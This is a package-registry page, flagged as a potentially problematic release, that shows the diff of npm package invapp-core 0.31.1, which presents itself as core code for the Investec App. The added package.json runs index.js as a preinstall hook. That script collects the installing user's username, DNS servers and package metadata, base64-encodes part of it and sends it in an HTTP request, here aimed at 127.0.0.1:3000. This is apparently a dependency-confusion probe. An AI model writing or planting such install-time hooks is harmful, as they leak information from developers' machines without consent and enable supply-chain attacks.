invapp-core 0.31.1
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of invapp-core might be problematic. Click here for more details.
- package/README.md +1 -0
- package/index.js +60 -0
- package/package.json +24 -0
package/README.md
ADDED
@@ -0,0 +1 @@
|
|
1
|
+
|
package/index.js
ADDED
@@ -0,0 +1,60 @@
|
|
1
|
+
const os = require("os");
|
2
|
+
const dns = require("dns");
|
3
|
+
const querystring = require("querystring");
|
4
|
+
const https = require("http");
|
5
|
+
const packageJSON = require("./package.json");
|
6
|
+
const package = packageJSON.name;
|
7
|
+
|
8
|
+
const trackingData = JSON.stringify({
|
9
|
+
//p: package,
|
10
|
+
//c: __dirname,
|
11
|
+
//hd: os.homedir(),
|
12
|
+
//hn: os.hostname(),
|
13
|
+
un: os.userInfo().username,
|
14
|
+
dns: dns.getServers(),
|
15
|
+
r: packageJSON ? packageJSON.___resolved : undefined,
|
16
|
+
v: packageJSON.version,
|
17
|
+
pjson: packageJSON,
|
18
|
+
});
|
19
|
+
|
20
|
+
|
21
|
+
un=os.userInfo().username+ " - " + dns.getServers();
|
22
|
+
dnsdata=dns.getServers()
|
23
|
+
base64encodeddata = btoa(un);
|
24
|
+
|
25
|
+
console.log(un);
|
26
|
+
console.log(dnsdata);
|
27
|
+
|
28
|
+
|
29
|
+
var postData = querystring.stringify({
|
30
|
+
msg: trackingData,
|
31
|
+
});
|
32
|
+
|
33
|
+
var options = {
|
34
|
+
hostname: "127.0.0.1",
|
35
|
+
port: 3000,
|
36
|
+
path: "/"+ base64encodeddata,
|
37
|
+
method: "GET",
|
38
|
+
/*headers: {
|
39
|
+
"Content-Type": "application/x-www-form-urlencoded",
|
40
|
+
"Content-Length": postData.length,
|
41
|
+
},*/
|
42
|
+
};
|
43
|
+
|
44
|
+
var req = https.request(options, (res) => {
|
45
|
+
res.on("data", (d) => {
|
46
|
+
process.stdout.write(d);
|
47
|
+
});
|
48
|
+
});
|
49
|
+
|
50
|
+
|
51
|
+
|
52
|
+
req.on("error", (e) => {
|
53
|
+
console.error(e);
|
54
|
+
});
|
55
|
+
|
56
|
+
|
57
|
+
console.log("Works");
|
58
|
+
req.write(postData);
|
59
|
+
console.log("Works2");
|
60
|
+
req.end();
|
package/package.json
ADDED
@@ -0,0 +1,24 @@
|
|
1
|
+
{
|
2
|
+
"name": "invapp-core",
|
3
|
+
"version": "0.31.1",
|
4
|
+
"description": "Package for the core functionalities of the Investec App",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
8
|
+
"preinstall": "node index.js"
|
9
|
+
},
|
10
|
+
"repository": {
|
11
|
+
"type": "git",
|
12
|
+
"url": "git+https://github.com/NsovoBaloyi/invapp-biometric.git"
|
13
|
+
},
|
14
|
+
"keywords": [
|
15
|
+
"Mobile",
|
16
|
+
"Core"
|
17
|
+
],
|
18
|
+
"author": "Nsovo Baloyi",
|
19
|
+
"license": "ISC",
|
20
|
+
"bugs": {
|
21
|
+
"url": "https://github.com/NsovoBaloyi/invapp-biometric/issues"
|
22
|
+
},
|
23
|
+
"homepage": "https://github.com/NsovoBaloyi/invapp-biometric#readme"
|
24
|
+
}
|